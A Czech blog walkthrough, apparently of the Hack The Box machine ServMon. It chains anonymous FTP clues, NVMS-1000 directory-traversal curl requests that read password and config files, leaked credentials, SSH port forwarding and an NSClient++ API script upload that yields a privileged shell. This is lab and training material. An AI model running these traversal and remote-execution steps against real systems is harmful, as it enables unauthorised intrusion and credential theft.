tom@home.htb:~$

Blog o HTB

14 January 2021

ServMon

Úvod a kontext

ServMon je ukázka stroje, kde foothold nevznikne jedním exploitem, ale propojením několika drobných stop. Anonymní FTP samo o sobě nestačí, stejně jako veřejný web. Důležitý je až okamžik, kdy se informace z FTP propojí se zranitelností ve webové aplikaci NVMS-1000 a přinesou použitelné přihlašovací údaje.

Root část pak dobře ukazuje jiný typ chyby: interní administrační služba NSClient++ byla sice dostupná jen lokálně, ale jakmile už existoval SSH přístup, dalo se k ní dostat přes port forwarding a využít její API k provedení příkazu.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív mapuji dostupné služby a zjišťuji, jaké rozhraní může sloužit jako první vstup do systému.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
22/tcp    open  ssh           OpenSSH for_Windows_7.7
80/tcp    open  http
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
8443/tcp  open  ssl/https-alt NSClient++

Zajímavé jsou hlavně tři body:

Anonymní FTP jako zdroj indicií

Na anonymním FTP nebylo rovnou nic exploatovatelného, ale objevil se adresář Users a v něm soubor Confidential.txt s odkazem na Passwords.txt uložený na desktopu uživatele Nathan:

Nathan, I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

To je přesně ten typ drobné stopy, který sám nic neřeší, ale dává směr pro další krok. Pokud web běží nad zranitelnou aplikací s traversal/LFI, je to ideální cíl. Obecnější varianty podobného file-read přístupu rozebírám i v článku File read a include varianty mimo klasické LFI.

Analýza zjištění

Identifikace webu jako NVMS-1000

Web na portu 80 odpovídal aplikaci NVMS-1000. U té je známý directory traversal, který dovoluje číst libovolné soubory na disku. Nejdřív je vhodné ověřit, že traversal opravdu funguje, například přes win.ini:

curl -v --path-as-is "http://10.10.10.184/../../../windows/win.ini"

Jakmile se potvrdí čtení lokálních souborů, dává smysl zamířit rovnou na soubor zmíněný v poznámce z FTP:

curl -v --path-as-is "http://10.10.10.184/../../../Users/Nathan/Desktop/Passwords.txt"

Tím se získalo heslo použitelné pro účet Nadine:

L1k3B1gBut7s@W0rk

Ověření účtů

Před přihlášením je rozumné ověřit, jaké účty na systému skutečně existují. K tomu posloužilo lookupsid.py, které potvrdilo mimo jiné uživatele Nadine a Nathan. Praktickou stránku podobných utilit rozebírám i v článku Impacket pro AD enumeraci a první identity:

1002: SERVMON\Nadine
1004: SERVMON\Nathan

To zvyšuje důvěru v to, že nalezené heslo není mrtvá stopa z nějakého starého dokumentu, ale stále patří aktivnímu účtu.

Získání přístupu

SSH jako Nadine

Jakmile jsou známé funkční přihlašovací údaje, dává větší smysl použít SSH než zůstávat u LFI. SSH poskytne stabilní uživatelský kontext a otevře cestu k lokální enumeraci.

ssh Nadine@$IP

Po přihlášení šlo potvrdit uživatelský přístup:

more user.txt
__CENSORED__

Eskalace oprávnění

Získání přístupu k NSClient++

Další důležitá otázka zní, jestli se lokální SSH přístup dá proměnit v přístup k nějaké administrativní službě. Na ServMonu je to právě NSClient++, který naslouchá na 8443. Ještě před port forwardingem bylo potřeba získat heslo do jeho API, a k tomu opět posloužilo directory traversal. Tenhle model interní administrační služby za loopbackem rozebírám i v článcích Lokálně dostupné služby po footholdu: localhost není boundary a Exponovaná debug, maintenance a administrační rozhraní:

curl -v --path-as-is "http://10.10.10.184/../../../program%20files/nsclient%2B%2B/nsclient.ini"

V konfiguraci bylo heslo:

password = ew2x6SsGTxjRwXOT

S již funkčním SSH účtem pak stačilo přeposlat lokální port:

ssh Nadine@$IP -L 8443:127.0.0.1:8443

Tím se dalo s NSClient++ komunikovat jako s lokální službou.

Upload a spuštění skriptu přes API

NSClient++ umožňoval přes API nahrát vlastní skript a následně ho spustit jako definovaný check. To je přesně ten typ funkce, který je pro administraci pohodlný, ale po úniku hesla se mění v RCE.

Nejdřív se nahraje dávkový soubor:

curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/nc3.bat --data-binary @nc.bat

Praktickou roli curl při práci s localhost API a přesně řízenými metodami rozebírám i v článku curl.

Pak se stejný skript spustí přes query endpoint:

curl -s -k -u admin "https://localhost:8443/api/v1/queries/nc3/commands/execute?time=3m"

Výsledkem je shell v privilegovaném kontextu, ze kterého už jde přečíst root.txt:

more root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: windows - ftp - smb - ssh - exploit